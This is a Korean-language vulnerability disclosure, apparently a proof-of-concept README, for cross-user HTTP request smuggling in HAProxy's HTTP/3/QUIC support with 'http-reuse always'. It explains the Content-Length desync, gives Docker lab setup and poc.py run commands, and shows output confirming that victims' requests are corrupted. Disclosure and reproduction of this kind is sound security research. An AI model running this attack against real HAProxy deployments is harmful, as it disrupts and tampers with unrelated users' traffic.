
제로 바이트 QUIC 패킷 하나만으로 HAProxy의 백엔드 연결 풀을 역동기화시켜 무관한 사용자들 간에 HTTP 요청을 밀반입할 수 있습니다. 심지어 완전히 다른 프론트엔드 프로토콜을 사용하는 사용자에게도 영향을 미칩니다.
전체 게시물: https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
HAProxy의 HTTP/3 구현에서 발생하는 취약점으로, 공격자가 실제 본문 크기와 일치하지 않는 Content-Length 헤더가 포함된 HTTP 요청을 보낼 수 있습니다. HAProxy는 이 잘못된 요청을 선언된 Content-Length와 함께 본문 바이트가 0개인 상태로 HTTP/1.1을 통해 백엔드로 전달합니다. 백엔드가 조기 응답(예: 301 리디렉션)을 보내고 TCP 연결에서 대기 중인 본문을 비울 때, 해당 연결의 다음 HTTP 요청에 속한 바이트를 소비하게 됩니다 — 이는 다른 사용자로부터 온 요청일 수 있습니다.
이로 인해 HAProxy의 백엔드 연결 풀을 통한 교차 사용자 HTTP 요청 스머글링이 발생합니다.
영향 대상: QUIC/H3 지원이 활성화된 HAProxy(USE_QUIC=1). HAProxy 3.0.18에서 테스트됨.
필요 구성: (기본값이 아니지만 프로덕션에서 흔히 사용됨)
http-reuse always3개의 서비스로 구성된 Docker Compose:
http-reuse always)/photos 디렉토리에 autoindex on 설정, /status는 200 반환# 1. 실습 환경 시작 (HAProxy 빌드는 처음에 약 10분 소요)
cd poc/
docker compose up -d --build
# 2. 연속 모드로 PoC 실행
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. 브라우저에서 https://<host>:10002/status 접속
# (자체 서명 인증서 허용, Chrome에서 --ignore-certificate-errors 사용)
# 반복적으로 새로고침. 응답의 약 50%가 400 Bad Request로 표시됩니다.
# 4. PoC 중지 (Ctrl+C). 모든 브라우저 응답이 정상(200)으로 돌아옵니다.
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
예상 출력:
[1] 독 요청 전송 중 (H3/QUIC)...
-> 301 수신. 백엔드 연결이 대기 중인 본문 드레인과 함께 풀링됨.
[2] HAProxy가 연결을 풀링할 때까지 0.5초 대기 중...
[3] 별도의 QUIC 연결에서 피해자 GET /status 전송 중...
-> 응답: HTTP 400
[!] 스머글링 확인됨
[!] 별도 연결의 피해자가 200 대신 400을 받음
[!] 백엔드가 피해자의 요청을 독 POST의 본문으로 파싱함